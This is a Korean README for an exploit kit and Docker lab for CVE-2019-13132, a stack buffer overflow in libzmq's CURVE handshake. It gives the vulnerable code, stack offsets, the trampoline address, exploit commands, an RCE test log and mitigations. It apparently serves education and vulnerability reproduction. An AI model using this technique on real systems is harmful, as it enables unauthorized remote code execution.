
CVE-2019-13132 — libzmq CURVE INITIATE 스택 오버플로 → RCE. 동작하는 익스플로잇 + 도커 랩.
CVE-2019-13132에 대한 완전한 RCE 익스플로잇 + 재현 가능한 실습 환경입니다. 이는 libzmq의 CURVE INITIATE 핸드셰이크 핸들러의 스택 버퍼 오버플로 취약점입니다. 공격자가 서버의 장기 공개 키(설계상 공개 매개변수)를 알고 있으면 process_initiate()의 고정 크기 스택 버퍼를 오버플로하여 저장된 반환 주소를 덮어쓰고 실행 흐름을 임의 코드로 리디렉션할 수 있습니다.
Nicolas Krassas (@dinosn) 작성.
실습 전용입니다. 이 키트는 의도적으로 취약하게 만든 libzmq 4.3.0을 완화 조치를 비활성화한 채로 제공합니다. 실습 환경 외부로 포트 5556을 노출하지 마십시오. 이 버그는 libzmq 4.3.2에서 수정되었습니다.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
자동화된 스모크 테스트 (익스플로잇 실행 + 증명 파일 확인):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # 이 파일
├── Dockerfile # 단일 명령 컨테이너화 실습
├── server-curve.c # CURVE REP 리스너 — 취약 대상
├── exploit.py # 전체 익스플로잇 (HELLO → WELCOME → 대형 INITIATE)
├── compute_offsets.py # 빌드 시 오프셋 추출 → build_offsets.json
├── calibrate.sh # 런타임 보정 → profile.json
├── start_server.sh # 대상 서버 시작/재시작
├── run_lab_test.sh # 자동화된 종단 간 스모크 테스트
└── entrypoint.sh # Docker 진입점 (ASLR 해제 + 서버 + 보정)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box는 416바이트 스택 할당 버퍼입니다. memcpy는 size - 113 바이트를 400바이트 페이로드 영역(오프셋 16..415)에 씁니다. size > 513인 INITIATE는 버퍼를 넘어 저장된 호출 수신 레지스터와 반환 주소를 오버플로합니다.
쿠키 검증은 오버플로 이전에 이루어지므로 INITIATE는 진짜 쿠키를 포함해야 합니다. 하지만 쿠키는 서버의 장기 공개 키만을 사용하여 이전 WELCOME 메시지에서 얻어집니다.
CURVE 프로토콜은 클라이언트가 이미 서버의 장기 공개 키를 가지고 있도록 설계되었습니다 (연결 URI 또는 구성에 포함됨). 익스플로잇:
memcpy가 실행됩니다.애플리케이션 수준 자격 증명은 필요하지 않습니다. ZAP 인증 우회도 없습니다. 오버플로는 애플리케이션이 피어를 확인하기 전인 CURVE 키 교환 중에 발생합니다.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
익스플로잇은 464바이트의 페이로드를 전송합니다: 456바이트의 채우기(0x41)로 반환 주소에 도달한 후, lab_trampoline()의 주소를 포함하는 8바이트를 보냅니다.
오버플로 후 crypto_box_open()이 실패합니다 (오버플로된 데이터는 쓰레기 암호문입니다). 오류 경로는 실패를 기록하고 errno를 설정한 후 -1을 반환합니다. 하지만 오류 경로는 오버플로 영역 아래의 스택 위치(RSP+0xe0, RSP+0xf0, RSP+0x280)에만 접근하므로 손상된 스택에서도 문제없이 실행됩니다.
함수 에필로그(add $0x628,%rsp; pop rbx-r15; ret)는 손상된 저장 레지스터(현재 0x4141414141414141)를 팝하고, ret가 트램펄린 주소를 로드합니다.
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
system() / fork() 대신 원시 시스템 콜을 사용하는 이유는 process_initiate()가 libzmq의 I/O 스레드에서 실행되기 때문입니다. 다중 스레드 프로세스에서 메인이 아닌 스레드에서 fork()를 호출하면 glibc의 pthread_atfork 잠금 핸들러에서 교착 상태가 발생합니다.
서버의 장기 공개 키는 CurveZMQ 프로토콜의 공개 매개변수입니다 — 클라이언트는 연결을 위해 이를 반드시 가지고 있어야 합니다. 일반적으로 구성 파일, URI 또는 검색 메커니즘을 통해 배포됩니다. 익스플로잇에는 비밀 자료가 필요하지 않습니다.
익스플로잇에는 두 가지 값이 필요합니다:
| 필드 | 값 | 출처 |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (비-PIE 바이너리, 고정 주소) |
offset_to_ret | 456 | process_initiate 디스어셈블리 (0x658 - 0x490) |
두 값 모두 exploit.py에서 Docker 실습 빌드(Debian 12, gcc 12, libzmq 4.3.0)의 기본값으로 하드코딩되어 있습니다. 보정 단계는 필요하지 않으며 익스플로잇을 실행하기만 하면 됩니다:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
해결 우선순위: --trampoline/--offset 플래그 → --profile 파일 → /opt/zmq-curve-rce/profile.json → 기본값.
ZMTP에는 인트로스펙션 API가 없습니다. 인사 메시지는 프로토콜 버전(3.x)과 메커니즘(CURVE)만 알려줄 뿐 libzmq 빌드, 컴파일러 또는 바이너리 레이아웃에 대한 정보는 없습니다. 알 수 없는 대상을 상대로 자동 오프셋 선택을 허용하는 런타임 접근 가능 빌드 식별자는 존재하지 않습니다.
calibrate.sh / compute_offsets.py 스크립트는 트램펄린 주소가 변경될 수 있는 다른 배포판이나 gcc 버전에서의 재빌드를 위해 제공됩니다. Docker 실습 내에서 자동으로 실행되지만 필요하지는 않습니다.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| 방어 기법 | 효과 |
|---|---|
| libzmq >= 4.3.2로 업그레이드 | 수정됨. memcpy 전에 INITIATE 크기에 상한 검사를 추가함. |
스택 카나리 (-fstack-protector) | 함수가 반환되기 전에 오버플로를 감지합니다. 카나리는 지역 변수와 저장된 레지스터 사이에 위치하며, 오버플로가 이를 손상시켜 __stack_chk_fail을 트리거합니다. |
| ASLR | 공유 라이브러리 및 스택 주소를 무작위화합니다. 트램펄린은 비-PIE 바이너리(고정 주소)에 있지만, 프로덕션 서버는 PIE일 것이므로 정보 유출이 필요합니다. |
| PIE | 서버 바이너리의 로드 주소를 무작위화합니다. 트램펄린 주소는 유출 없이는 예측할 수 없게 됩니다. |
| NX | 여기서는 관련 없음 — 셸코드가 주입되지 않으며, 익스플로잇은 기존 코드를 호출합니다. |
| ZAP / 애플리케이션 수준 인증 | 도움이 되지 않음 — 오버플로는 ZAP이 조회되기 전인 CURVE 키 교환 중에 발생합니다. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. 의도적으로 취약하게 만든 libzmq 4.3.0 소스는 빌드 시 상위 저장소(LGPLv3-with-exceptions / MPLv2)에서 가져옵니다.
방어적 보안 연구, 교육 및 승인된 보안 테스트 전용입니다. 번들된 취약 빌드를 격리된 실습 환경 외부에 배포하지 마십시오.